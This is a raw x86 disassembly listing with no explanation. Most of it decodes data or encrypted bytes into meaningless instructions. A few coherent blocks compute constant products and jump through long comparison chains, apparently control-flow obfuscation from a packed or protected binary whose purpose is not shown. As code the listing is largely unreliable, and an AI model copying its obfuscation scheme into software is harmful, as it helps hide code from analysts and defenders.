and al, 0xfd
inc ecx
lodsd eax, dword [esi]
mov ah, 0xe7
jle 0x6e04c910
or ch, byte [ebx]
mov al, byte [0xcaa7d6bf]
mov edi, 0xb9741310
sub edi, eax
or ch, ah
nop
mov bl, 0xf2
cmp byte [ebx - 0x10da6456], 0x1a
dec esi
fst dword [ecx + ebp*8 + 0x4b7bcf68]
invalid
add eax, 0x5d4b47ef
dec ebx
pop ebp
adc dword [ebp + eax*4 - 5], ecx
jmp 0xb4e1c6ae
add al, 0xad
xchg dword [0x416b2aa], ecx
mov dh, 0xea
mov esi, 0xa6cacd38
push edx
xor al, 0x20
popfd
aad 0x94
adc bl, byte [edi - 0x3b]
pop esp
xchg ebp, eax
fdivr dword [ebx - 0x43367ad1]
inc byte [esp + eax*8]
aaa
loopne 0x6e04e014
outsb dx, byte [esi]
xchg dword [eax - 0x13261634], edx
add dword [eax], eax
je 0x6e04e01d
outsd dx, dword [esi]
fsubr qword [ebx + 0x451c12a0]
jp 0x6e04e00f
xor eax, 0xfcddc70
cmp eax, 0x9b533744
aaa
push ebx
wait
hlt
stosb byte es:[edi], al
test byte es:[ebx + edx + 0x1300c46], dl
push esp
push ebp
loope 0x6e04e03c
int3
mov ds, word [ecx - 0x23c74160]
cmp ch, byte [ebx]
aaa
xchg esp, eax
ja 0x6e04dfce
dec edx
mov ah, 0x67
cmp al, 0x55
push esi
xor byte [eax], al
stosd dword es:[edi], eax
mov bl, 0x22
stosb byte es:[edi], al
leave
lahf
retf
enter 0x3dc1, 0xffffffffffffffbb
sub eax, 0xb958f33d
pushfd
jecxz 0x6e04f6d5
cmp eax, 0xb200ae14
sbb bl, ch
inc esp
pop dword [eax]
xchg ecx, eax
jnp 0x6e04f716
inc esp
lcall 0xf326, 0xc6d24a44
mov edx, 0x93fdd39a
pop ebp
inc ebx
ret 0x24a6
inc esp
and ebp, dword [ecx]
scasd eax, dword es:[edi]
out dx, eax
xchg esi, eax
in eax, dx
add dl, byte [0xe1d3b66b]
insd dword es:[edi], dx
and eax, 0x67
sar dl, 0xea
jecxz 0x6e04f6ae
pushal
add esi, edi
in eax, dx
pop ecx
invalid
dec esp
mov al, 0x70
outsb dx, byte [esi]
dec eax
inc edx
aas
movsb byte es:[edi], byte [esi]
push edx
sbb al, 0xc5
not byte [ecx - 0x33ad84ce]
lodsb al, byte [esi]
pop ds
jnp 0x6e04f765
int3
mov byte [edx + ecx*8 - 0x37f7db7a], al
inc ebp
mov ebx, 0x5272237c
sbb al, 0x48
psllw mm4, qword [ecx]
imul edi, dword [ebp + 0x13912164], 0x18
int1
and dword [ebx - 0x43], ebp
and dword fs:[ecx - 0x1f1fe7ed], edx
adc ebx, dword [eax]
loopne 0x6e04f711
leave
invalid
sbb eax, 0xd85b924c
and edi, dword [ebx]
sbb byte [ebp + 0x217c8ac5], ch
add bh, byte [ecx + 0x43cd974a]
inc ebx
mov dh, 0xcb
mov dword [esi - 0x24a22a8e], ebp
loop 0x6e04f72d
scasb al, byte es:[edi]
jb 0x6e04f727
pop ebp
fnclex
xlatb
push 0x87a949b1
jno 0x6e04f6de
pop eax
je 0x6e04f74b
mul dword [ebp + 0x21ea7939]
je 0x6e04f726
cmp dword [ecx - 0x16], edi
jns 0x6e04f74f
and dword [esi + edi*4 - 0x2f], esi
push ebx
aad 0xbe
int 0xa1
nop
int3
rcl dword [ebx - 0x2b]
mov esi, 0xcc90a1cd
jmp 0x6e06ccd6
jae 0x6e04f703
sbb dword [ecx], 0xaefae911
mov dl, 0xa1
xor dl, 0x71
and dword [edx], edx
push es
push cs
jle 0x6e04f763
in eax, 0x34
sahf
loopne 0x6e04f762
jb 0x6e04f739
push ss
and eax, 0x4cf97bf7
aad 0x22
invalid
mov edi, 0xd9db7e9c
mov edi, 0x101d37f0
std
leave
adc dword [eax - 0x54759fd5], ecx
invalid
jmp 0xcf47b667
push ds
nop
int3
rol byte [eax - 0x7c], 0xc0
jns 0x6e052684
into
xor dword [ebp - 0x1a], ebp
mov dl, 0xca
mov eax, 0x1fd37b45
push edi
pop edi
clc
inc ebp
and esi, dword [ecx + 0x649a3328]
inc ebx
fistp word [esi]
adc dl, byte [ecx + 0x2f]
push ecx
das
jecxz 0x6e052685
int 0x86
add ebp, dword [eax + edx*4 + 0x2b]
loop 0x6e05265d
pop eax
ficomp dword [ebp - 0x595998d1]
cmp eax, dword [eax]
jno 0x6e05262c
invalid
sub dword [ebx + 0x7ad405a8], ebp
cmpsb byte [esi], byte es:[edi]
popfd
push edi
wait
mov bh, dh
rol byte [ebp + 0x6e], 1
mov dword [0x5c03bd5a], eax
and eax, 0x90ee09c2
int3
jecxz 0x6e053dbe
iretd
sub bl, byte [edx + 0x3303c16b]
in al, 0x2a
push ss
salc
xchg ecx, eax
mov ebp, 0x775641e5
pop edx
push ss
adc eax, 0xd7c7175d
imul eax, dword [esi + 0x25785840]
jmp 0x97a1b261
adc dword [eax - 0x553c6834], 0xa194ecf
fisttp dword [esi]
test al, 0x77
retf 0x6cdf
outsd dx, dword [esi]
jae 0x6e056bf6
out dx, al
scasd eax, dword es:[edi]
mov al, 0x7d
xor byte [ebp + 0x14], bl
and al, 0x84
and byte [eax + 0x29], bl
xchg ebp, eax
and bl, byte [edx]
ljmp 0xacd
add eax, 0x136ebd20
sbb ecx, ebp
mov al, byte [0x9824ef1d]
sbb al, 0x10
lodsb al, byte [esi]
dec edi
and eax, 0xf84ca07f
dec edi
add dl, byte fs:[0x3b97c851]
mov byte [edx], ch
sahf
insb byte es:[edi], dx
popal
lahf
or esp, dword [esi - 0x50344302]
mov dl, 0x3b
daa
sbb eax, 0x771c754f
rol dword [ebp - 0x80], cl
or al, byte [eax + ebx*2 + 0x7a5a142]
loop 0x6e056c2e
pushfd
cmp ebx, dword [esp + eax]
mov dword [0xb67c24dc], eax
xor al, 0x27
inc edi
or byte [ebp - 0x46], dl
int 0xd3
xor ch, ch
add eax, 0xd82ec161
nop
int3
jp 0x6e056c6f
stosd dword es:[edi], eax
int3
xchg dword [edx + 0x6d], edi
int3
xor eax, 0x63d34d1c
adc al, 0xab
pop ds
pop eax
loopne 0x6e0583e4
dec ebx
dec ebx
sub dl, bh
enter 0x468e, 0xffffffffffffff91
mov esp, 0xa7773df4
stc
int3
scasd eax, dword es:[edi]
invalid
sbb dword [edx - 0x68e71ef1], esi
sub eax, 0x4ec21046
idiv byte [edi + ecx*2 - 2]
and dword [ebp + ecx*4 - 0x7f], esp
xchg dword [eax + edx*4 - 0x39a9ea54], edi
outsb dx, byte [esi]
mov al, byte [0x3e8e2edf]
xor byte [eax + 0x53c96c0a], ah
in eax, dx
cmp bh, byte [0x2a7d494f]
sub edx, dword [edi + 0x3ac86bc3]
daa
shl dword [bp - 0x74f9], cl
push edx
xor eax, dword [edi]
and byte [esi], cl
mov edx, 0xf2057460
mov dword [0xe73f325b], eax
mov ss, word [edx - 0x5d7b72e8]
and eax, 0x1ca77830
dec byte [edi]
movsb byte es:[edi], byte [esi]
push eax
pop ebp
mov eax, dword [0xaf10b54f]
jmp 0x77228a4
ret 0x7b60
inc edx
arpl bx, dx
loope 0x6e05c9be
xchg esi, eax
pop ebx
daa
aad 0x14
les esi, [ebp + 0x770b0680]
out dx, eax
mov ch, pe_nt_image_headers32
push es
or esi, dword [edi - 0x11]
add byte [esi], 0xb
ja 0x6e05ca30
mov cl, 0xd5
push ds
lcall 0x45fd, 0x99ecf71d
cdq
std
inc ebp
int1
cli
sbb al, 0xa6
push esp
inc ecx
das
mov byte [0xd09595da], al
or dword [edi + 0x59], ebx
dec esi
jp 0x6e05ca3c
jle 0x6e05ca48
jecxz 0x6e05cad7
cli
cmp edi, dword [esi + 0xa]
aam 0x1d
int3
push esi
mov al, byte [0x248d5aa7]
lodsd eax, dword [esi]
int3
jle 0x6e05ca3b
test cl, cl
cmpsb byte [esi], byte es:[edi]
adc dword [edi - 0x509d9fe4], 0x7c
xchg esp, eax
push cs
aas
jp 0x6e05ca8b
adc al, 0xfd
jmp 0x6e05ca59
mov ch, 0xc3
les ebp, [ecx + 0x452cc059]
mov ebx, dword [edi]
inc edx
invalid
test byte [ecx - 0x5a19524e], bh
int3
or dl, byte [eax - 0x154e1634]
add byte [eax], al
jae 0x6e05e21d
cdq
jge 0x6e05e1d5
ret
xor byte fs:[ecx], ch
cmp edx, eax
invalid
leave
or cl, byte [edi + edi - 0x63]
retf 0xc5c4
popfd
jge 0x6e06109b
popfd
sub eax, 0x43b0a47f
dec esp
xor dh, byte [ecx + 0x5f]
test dword [edx - 0x6d3e84b5], edi
cmc
xchg ebp, eax
lds esi, [0x1f198746]
xchg edi, eax
call 0x88b0721a
invalid
adc edx, dword [bx + si - 0x1634]
dec ecx
movsb byte es:[edi], byte [esi]
add byte [eax], al
dec esp
fdivr qword [eax - 0x6c2bb9f9]
sub eax, 0xdcd2bc80
push ecx
add byte [eax + edi - 0xa], bl
sbb bl, ah
loopne 0x6e0628ea
and eax, 0x97c64373
stosb byte es:[edi], al
insd dword es:[edi], dx
pop esp
add al, byte [edi + 0x27]
lahf
inc esp
and al, ah
jl 0x6e0628c8
push es
fisubr word [ebx]
js 0x6e0628cc
out dx, eax
cmpsb byte [esi], byte es:[edi]
sbb al, ch
or al, al
sub al, 5
push ss
movsd dword es:[edi], dword [esi]
xlatb
add byte [esi + edi*2 + 0x3c], ch
jbe 0x6e062884
mov ebx, 0x45149293
xchg ebx, eax
xchg edx, eax
adc al, 0x45
inc ebp
ret
push esp
add esi, esi
adc eax, 0xba838bb3
xchg esp, eax
or esi, dword [esi - 0x7a]
xor eax, 0x500bcf14
sahf
push ebx
sbb al, 0xed
ret
mov esi, 0x2a3c93e
inc ecx
in al, dx
hlt
ljmp 0x552a:0x13ea5422
daa
adc edi, edx
test al, 9
sbb eax, 0xf47c0044
int3
invalid
sbb dl, ah
mov byte [esi - 0xdcf968e], bh
cwde
imul eax, edx, 0x71
imul esp, dword [esi], 0xfffffffc
out 0xa0, eax
das
sbb dword [ecx + 0x74], 0x50
push esp
jecxz 0x6e068631
test byte [eax], 1
xlatb
dec eax
mov dh, 0xce
ret
sar dword [eax - 0x5433f244], cl
push es
cmpsb byte [esi], byte es:[edi]
aad 0x76
fadd dword [eax - 0x6c0450b3]
mov byte [ebx - 0x6d], al
popfd
mov esi, 0xc35569af
cdq
invalid
idiv dword [ebx + 0x1a]
aad 9
jns 0x6e069da4
lea ebp, [ebx + 0x50]
mov bl, 0x3e
sub byte [ecx - 0x16336f74], bl
int1
add byte cs:[eax], al
lodsb al, byte [esi]
dec esp
xchg edx, eax
inc edi
dec eax
fsub qword [0x90a4968b]
jbe 0x6e069dcf
or eax, 0x550e46b3
imul ecx, dword [esi + ebp*8], 0xffffffd6
lodsd eax, dword [esi]
retf
or ch, bl
pop edx
nop
and eax, edi
jle 0x6e06b59d
push ebx
test eax, 0x2f189580
sub cl, bl
imul ebp, dword [edi - 0x7a0ca23c], 0x5af3034a
xor eax, 0xa5a19daa
mov eax, 0x26f344ab
fmul dword [eax - 0x3ab13da3]
call 0xb1108a0d
in eax, 0xbc
jg 0x6e06b5bd
pop esp
mov esi, 0x592780c6
popfd
bound ebp, qword [eax + eax*2 - 0x674d7b46]
cwde
dec esp
mov ecx, 0x4aba14d1
push eax
cli
sub eax, 0xc2ca7306
sbb eax, 0x84f99758
mov bl, 0xc6
pop esp
rcl dh, 1
push ebx
retf
mov al, 0xad
and byte [esi + ecx*2 - 0xd1051ee], dl
mov dword [0x74bd0cab], eax
std
xor byte [edi], bl
xchg edx, eax
push es
sal byte [ebp - 0x699aff50], cl
or dword [ecx + 0xc623ad3], eax
mov al, byte [0x9480072]
inc ebp
push es
aaa
adc dl, byte [esi]
pop esp
or byte [edx], dh
jmp 0x6e06b5a5
nop
jmp 0x6e06ccd6
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 6
lea eax, [ebp - 0x359]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x160], 0x64e35
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x168], 0x5f970
mov dword [ebp - 0x164], 0
mov eax, dword [ebp - 0x15c]
imul eax, dword [ebp - 0x168]
mov edx, eax
mov eax, dword [ebp - 0x164]
imul eax, dword [ebp - 0x160]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x160]
mul dword [ebp - 0x168]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x170]
xor eax, 0xabdcc430
mov edx, dword [ebp - 0x16c]
xor edx, 0x25
or eax, edx
je 0x6e072c0d
mov edx, 0xabdcc430
mov eax, 0x25
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x6e072c10
mov eax, dword [ebp - 0x170]
xor eax, 0xe29d0
or eax, dword [ebp - 0x16c]
je 0x6e071498
mov edx, 0xe29d0
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x6e072c10
mov eax, dword [ebp - 0x170]
xor eax, 0xcaa44
or eax, dword [ebp - 0x16c]
je 0x6e06ce30
mov edx, 0xcaa44
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x6e072c10
mov eax, dword [ebp - 0x170]
xor eax, 0x6a61b
or eax, dword [ebp - 0x16c]
je 0x6e06fd20
mov eax, dword [ebp - 0x170]
xor eax, 0x80988
or eax, dword [ebp - 0x16c]
je 0x6e06e5a8
jmp 0x6e072c10
sub esp, eax
lds edi, [0xe25fdf45]
xchg esp, eax
dec edx
mov dword [0xd5c3be39], eax
xor eax, 0x9026bc5b
mov dword [0x7251c3ce], eax
pushfd
jb 0x6e06cea3
dec edx
sub eax, 0x6b0ca703
push es
dec esi
mov ebx, 0x64955f3a
and al, 0x47
inc ecx
das
fsubr dword [eax]
mov bh, 0xae
jmp 0xc287f3c9
pop eax
jl 0x6e06ceba
insb byte es:[edi], dx
or eax, dword [edx]
pushal
xchg ebx, eax
xchg edi, eax
fsubr dword [ecx - 3]
jbe 0x6e06cec0
cmovo eax, dword [eax]
dec edx
xchg esi, eax
lahf
lodsw ax, word [esi]
cmp byte [eax + esi*8 + 0x4e], al
and ch, byte [edi + 8]
adc al, 0x41
or byte [ecx + eax*2], dl
ret
add cl, byte [eax + 0x3225b5e6]
ja 0x6e06e48f
iretd
sbb eax, 0x41aff3ef
mov ecx, 0x3f8a60de
daa
mov ah, 0x7a
pop ss
and dword [ecx], 0xfde17c99
inc ebp
ja 0x6e06e42d
xchg esi, eax
jmp 0x6e06e50a
inc ebx
inc ebp
cmp byte [ecx], al
and byte [eax + 0x61d542cc], dl
popal
lahf
xchg esp, eax
sahf
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
mov gs, word [edx + 0x75]
sub eax, 0x4f438f57
loopne 0x6e06e4ef
leave
mov esp, 0x589d7ef1
imul edi, edx, 0xffffffc6
fld qword [ecx + 0x32b4e32c]
jecxz 0x6e06e478
sub eax, 0xac1c5dd4
loope 0x6e06e4cd
push es
ret 0xfb16
ljmp 0xbc3c:0x9b6698b9
lea esp, [edi - 0x58ce49a]
popfd
loop 0x6e06e4d6
mov esp, 0x6c4531e6
insb byte es:[edi], dx
rcr dword [esi], cl
imul eax
mov dl, 0x5f
pushal
sub dl, byte [edx + 0x46c87b77]
dec ebx
dec esp
inc ebp
jge 0x6e06e5ad
test al, 0x86
out 0x75, al
mov byte [0xe0744772], al
cli
aam 0xc5
inc edx
jb 0x6e06e53c
popal
push 0x1a
retf
fsub dword [ebx]
cmp dword [0x687d6355], 0xffffff84
xor dword [ecx + 0x7b], esp
invalid
pop eax
xchg ebx, eax
cmp eax, ebx
sbb dword [esi + 0x6e], eax
mov edx, 0x395b31bd
jo 0x6e06e52f
loop 0x6e06e563
or al, dl
out dx, eax
test eax, 0xc3c05c1e
jns 0x6e06e561
adc dword [esi - 0x70], eax
int3
add byte [ebx - 0x6c4479c6], al
xchg byte [ebx + 0x80d6d93], bh
dec ebx
into
add ebx, ebp
and eax, 0x16f0eb7c
sub al, 0x52
pop ss
sub bh, ah
push ebx
in al, dx
mov byte [0x66f989bd], al
nop
xchg ebx, eax
insd dword es:[edi], dx
or eax, 0x1ce4b08
jmp 0x6e06e5db
nop
mul byte [edi - 0x242a5ef4]
enter 0xffffffffffffa89d, 0xffffffffffffffbf
stosd dword es:[edi], eax
cmp esp, dword [ecx]
pop edi
xchg ebp, eax
jp 0x6e06e5c6
dec ecx
mov byte [0x79a664d9], al
mov ecx, 0x2dd402a3
jnp 0x6e06e5d6
popfd
adc ecx, dword [ebx + 0x78006869]
loopne 0x6e06e5ab
fimul dword [esi + ebp*2 - 0x764a41fb]
mov eax, dword [0xc05e5b82]
jne 0x6e06e584
std
sbb ah, dh
add eax, 0xaf47dc45
xchg ebp, eax
sti
mov al, byte [0x861002d0]
and dword [0x53ca0262], eax
cmp eax, 0xe3363d9
imul edx, edx, 0xfffffff0
cmc
sbb byte [edx], 0xc3
int 0xba
jecxz 0x6e06e644
and eax, edx
cmpsb byte [esi], byte es:[edi]
sbb al, byte [edi + 0x75]
adc bl, 0x7c
loopne 0x6e06e691
out dx, al
push esi
xchg esp, eax
test dword [esi], esp
retf 0x6f29
and byte [esi + 0x67], 2
sbb eax, 0xbc7aaa05
loopne 0x6e06e62d
ret 0x7229
mov byte [edx + 0x2673617c], 0x19
scasb al, byte es:[edi]
ficom dword [ebx - 0x33]
test byte [edi], 0x18
cmp cl, 0x89
or al, 0x88
inc edi
mov ah, 0xa6
pop eax
fld qword [ecx]
out dx, al
cmpsd dword [esi], dword es:[edi]
clc
cmp eax, 0xda2807d6
stc
cdq
in al, 0x2b
jne 0x6e06e6be
mov ch, 0x35
dec esi
adc dl, byte [ebx + 0x580c3b4c]
dec esp
cmp ecx, dword [eax + ebx*2]
mov ebp, 0x8a610a9c
push edi
xor eax, 0x1bc4b7f
xchg edx, eax
test eax, 0xc69e2f85
outsd dx, dword [esi]
out 0xe5, eax
aam 0xb1
add dword [eax + 0x38], 0x62
std
or dword [ecx - 0x566d3fa1], esi
hlt
nop
inc esp
shl byte [esi + ecx - 0x78], cl
xchg dword [eax + edx*4 - 0x7d], esp
invalid
test eax, 0x56f41fed
jne 0x6e0714bc
pop ds
sub eax, 0x2109e3fc
dec edx
xlatb
and esp, ebp
fdivr qword ds:[esi]
cmp esi, edx
mov byte [0xe8ddaf5f], al
or esp, 0xffffff9f
mov ebx, 0x7076240e
cmc
mov bl, 0xd2
outsd dx, dword [esi]
fistp qword [eax]
or ecx, ebp
stc
loop 0x6e071456
adc al, 0xf
out 0xcf, al
test byte [ebx], al
push si
jmp 0x3a973bc4
fistp word [ecx - 0x2699af27]
out 0xae, al
sub cl, byte [ecx - 0x24f2594b]
test eax, 0x91b880a1
adc bl, ch
sub bl, byte [esi]
push es
xchg esi, eax
xchg edx, eax
insd dword es:[edi], dx
mov ebx, 0xdf58851b
cmp ch, dl
adc eax, 0x8ff433c6
cmp byte [edi + 0x53], ch
push ebp
push edi
mov edx, gs
jp 0x6e071467
xor esi, esp
invalid
into
out dx, eax
fisub word [edi + ebp*8 - 0x4fd2838d]
xor ah, byte [esi + esi*8]
jae 0x6e0714be
add byte [ebx], ch
inc edx
loop 0x6e071551
or byte [ebx + 0x4ee0f20a], ah
adc dl, byte [edi + ebp - 0x5830fe7e]
pop edi
rol byte [0x5c7ce059], 0x3b
mov bh, 0xb7
lodsb al, byte [esi]
mov ch, 0xc2
scasb al, byte es:[edi]
popfd
cmp eax, dword [ecx + 0x44]
mov edi, 0xf1fc5366
push ds
js 0x6e07153f
xchg edi, eax
xor al, 0x77
ret
pop ss
and eax, dword [ebp + 0x40]
jle 0x6e071572
mov ebp, 0xb4dfd791
inc eax
test byte [ebp - 0x47], bh
iretd
dec esp
retf
int3
nop
jmp 0x6e072c11
nop
mov dword [ebp - 0x366], 0x1523310b
mov dword [ebp - 0x362], 0xf212a39
mov dword [ebp - 0x35e], 0x3d1c03
mov byte [ebp - 0x35a], 0
mov dword [ebp - 0x178], 0x40fd6
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x180], 0x308db
mov dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x180]
mov edx, eax
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0x178]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x178]
mul dword [ebp - 0x180]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x188]
xor eax, 0x537a3c12
mov edx, dword [ebp - 0x184]
xor edx, 0xc
or eax, edx
je 0x6e08bf02
mov edx, 0x537a3c12
mov eax, 0xc
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0xcb0ef
or eax, dword [ebp - 0x184]
je 0x6e089015
mov edx, 0xcb0ef
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0xb169e
or eax, dword [ebp - 0x184]
je 0x6e083235
mov edx, 0xb169e
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0xa45fb
or eax, dword [ebp - 0x184]
je 0x6e07300d
mov edx, 0xa45fb
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x95a30
or eax, dword [ebp - 0x184]
je 0x6e074785
mov edx, 0x95a30
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x91cf1
or eax, dword [ebp - 0x184]
je 0x6e07a565
mov edx, 0x91cf1
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x8e399
or eax, dword [ebp - 0x184]
je 0x6e081abd
mov edx, 0x8e399
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x86f8a
or eax, dword [ebp - 0x184]
je 0x6e086125
mov edx, 0x86f8a
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x7f7af
or eax, dword [ebp - 0x184]
je 0x6e0849ad
mov edx, 0x7f7af
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x6aeb8
or eax, dword [ebp - 0x184]
je 0x6e07bcdd
mov edx, 0x6aeb8
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x5d1e9
or eax, dword [ebp - 0x184]
je 0x6e07ebcd
mov edx, 0x5d1e9
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x584f5
or eax, dword [ebp - 0x184]
je 0x6e077675
mov edx, 0x584f5
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x2be16
or eax, dword [ebp - 0x184]
je 0x6e07d455
mov edx, 0x2be16
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x2ab6b
or eax, dword [ebp - 0x184]
je 0x6e08a78d
mov edx, 0x2ab6b
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x297df
or eax, dword [ebp - 0x184]
je 0x6e075efd
mov edx, 0x297df
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
mov eax, dword [ebp - 0x188]
xor eax, 0x1a87b
or eax, dword [ebp - 0x184]
je 0x6e078ded
mov edx, 0x1a87b
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e08bf05
invalid
mov eax, dword [ebp - 0x188]
xor eax, 0x7155
or eax, dword [ebp - 0x184]
je 0x6e08789d
mov eax, dword [ebp - 0x188]
xor eax, 0x12030
or eax, dword [ebp - 0x184]
je 0x6e080345
jmp 0x6e08bf05
dec byte [esi]
pop ebx
dec eax
inc ebx
dec edi
mov esp, 0xd2feab5a
adc dword [ecx], edi
cmp ebp, dword [ebx - 0x12]
cmpsd dword [esi], dword es:[edi]
lcall 0x2340, 0xbcd47601
lodsd eax, dword [esi]
sub al, 0x36
out 0xb0, eax
xor byte [edi], al
jg 0x6e073008
out 0xaf, eax
and ecx, dword [edi + ecx*8]
nop
push 0x59e87239
cmp al, 0x2f
jg 0x6e072fd2
in eax, 0xd6
js 0x6e072ff7
invalid
imul byte [esi + 0x755b26fd]
fstp dword [ecx]
mov dword [ecx + 0x1c3db03], esp
mov dl, 0x7a
mov al, 0x69
add dword [eax], esi
jecxz 0x6e074796
imul eax, dword [ecx], 0xcbfbe330
invalid
retf
loopne 0x6e075f70
test dword [ebp - 0x777dc1ea], ebp
shr dword [edx], cl
stosd dword es:[edi], eax
loopne 0x6e075f46
insb byte es:[edi], dx
retf 0xdb70
pushfd
ret
iretd
jae 0x6e075fe2
xchg ebx, eax
outsb dx, byte [esi]
sbb eax, 0xa233ccf9
mov ebx, 0xda796ad1
ja 0x6e075f6d
pop esi
and dword [esi], ebp
dec ebp
les ebx, [edx - 0x62194eda]
mov bl, 0x5c
push esp
int1
mov ds, ebp
jp 0x6e075f16
sbb eax, 0xbde2cd64
push ds
mov edx, 0xa828423e
sbb esp, dword [eax - 0x54]
xor byte [ebx + esi*8 - 0x428a6f35], dh
pop esp
out dx, al
push es
leave
mov byte [ecx], ah
ljmp 0x4889
xchg dword [ebx + 0x20], edx
and dword [0xd3ce686e], 0x82fa85a5
and byte [eax + 0x16e0cf96], bh
xchg esp, eax
pop ebx
add byte [0xc9316621], dh
mov al, ch
sti
inc esp
retf 0x8773
push es
xor dword [ebx - 0xc], ebp
retf
lock or ch, byte [edi]
mov ah, 0xda
or byte [edi], dh
rol dword [eax + 0x46], 0x58
mov al, 0xb9
inc ebp
sbb dword [ebp + esi + 0x31], esi
add eax, 0x218b1788
mov al, 0x35
rcl byte [eax + ecx], cl
lock adc dh, byte [esi - 0x2d]
ror dword [esi], 1
stc
jbe 0x6e078dde
call 0x37c0e371
movsb byte es:[edi], byte [esi]
mov edi, 0x86072179
wait
adc dh, byte [ebx - 0xecd64b8]
int1
std
lcall 0x90a3, 0x70849fac
int3
xchg esi, eax
add edx, ebp
jb 0x6e078da8
push ebx
into
and eax, 0x65416d76
inc ecx
scasd eax, dword es:[edi]
inc eax
stosb byte es:[edi], al
popal
mov al, 0xd5
inc esp
adc byte [esi + 0x16], 0xef
mov ch, 0xa1
popal
shl byte [0xd9232567], 0xa3
mov bl, 0x56
push esi
invalid
push eax
mov al, 0x8a
scasd eax, dword es:[edi]
mov byte [0x815bc211], al
mov esi, 0x869338b2
pop eax
scasd eax, dword es:[edi]
cmp byte [eax], dh
and cl, byte [ecx]
mov bh, 0x22
dec ebp
pop eax
retf 0x5f04
mov bl, 0x8c
pop ds
out dx, al
mov ecx, 0x35bc4410
dec edx
push ebp
lcall 0xa4e2, 0xed21797
je 0x6e07a53e
sti
cmp al, 0x17
jge 0x6e07a5f0
and dword [edx], 0xb2cbf751
outsb dx, byte [esi]
test al, 0xbb
add edx, edx
int 0x62
cmpsd dword [esi], dword es:[edi]
cmp byte [edx], ah
imul byte [edx]
sbb dword [esi - 0x4b], edi
cmp edx, 0x6d2cb484
rcr byte [ecx], 0x34
test byte [0x373b3da4], cl
xor dword [eax + 0x1dc1eab], 0x34
add dword [esi], ecx
wait
enter 0x50cb, 0xffffffffffffffb3
xchg ebp, eax
cmpsd dword [esi], dword es:[edi]
invalid
xor byte [ecx], bl
fcom qword [edx - 0x28]
ja 0x6e07a65e
cmp eax, 0x85fc2cec
push 0xec490358
inc esi
retf 0xe9d9
adc byte [edi], bl
das
add byte [edx + 0x66183f5b], dl
push edx
jmp 0xe6f88875
retf
and byte [edx + ebp*2], 0xcc
aam 0x90
rcr dword [esi], 0xa9
or dword [ebx - 0x29c7367c], esp
xor ebx, dword [ebx + 0x23fb43f]
cmp eax, 0xe2e87528
fist dword [edx]
cmc
fimul word [ebp + ecx*2 - 0x38]
mov dh, 0xfb
invalid
inc esi
cmp byte [edi], dl
or eax, 0xe0b2abe7
or ebx, dword [esi]
push 0x95a800db
iretd
ljmp 0xa6ba:0x4d2e7a0e
add dword [eax], esi
mov byte [0xcb901676], al
mov dword [0x507376c], eax
push ebx
ja 0x6e0802b6
stosd dword es:[edi], eax
invalid
sar dword [ebx - 0x1beb0000], 0x9c
pop edi
leave
adc eax, 0xc95f9ce4
mov dl, 0xe1
cmp al, 0xe3
and dl, cl
jl 0x6e080318
cmp al, 0x6d
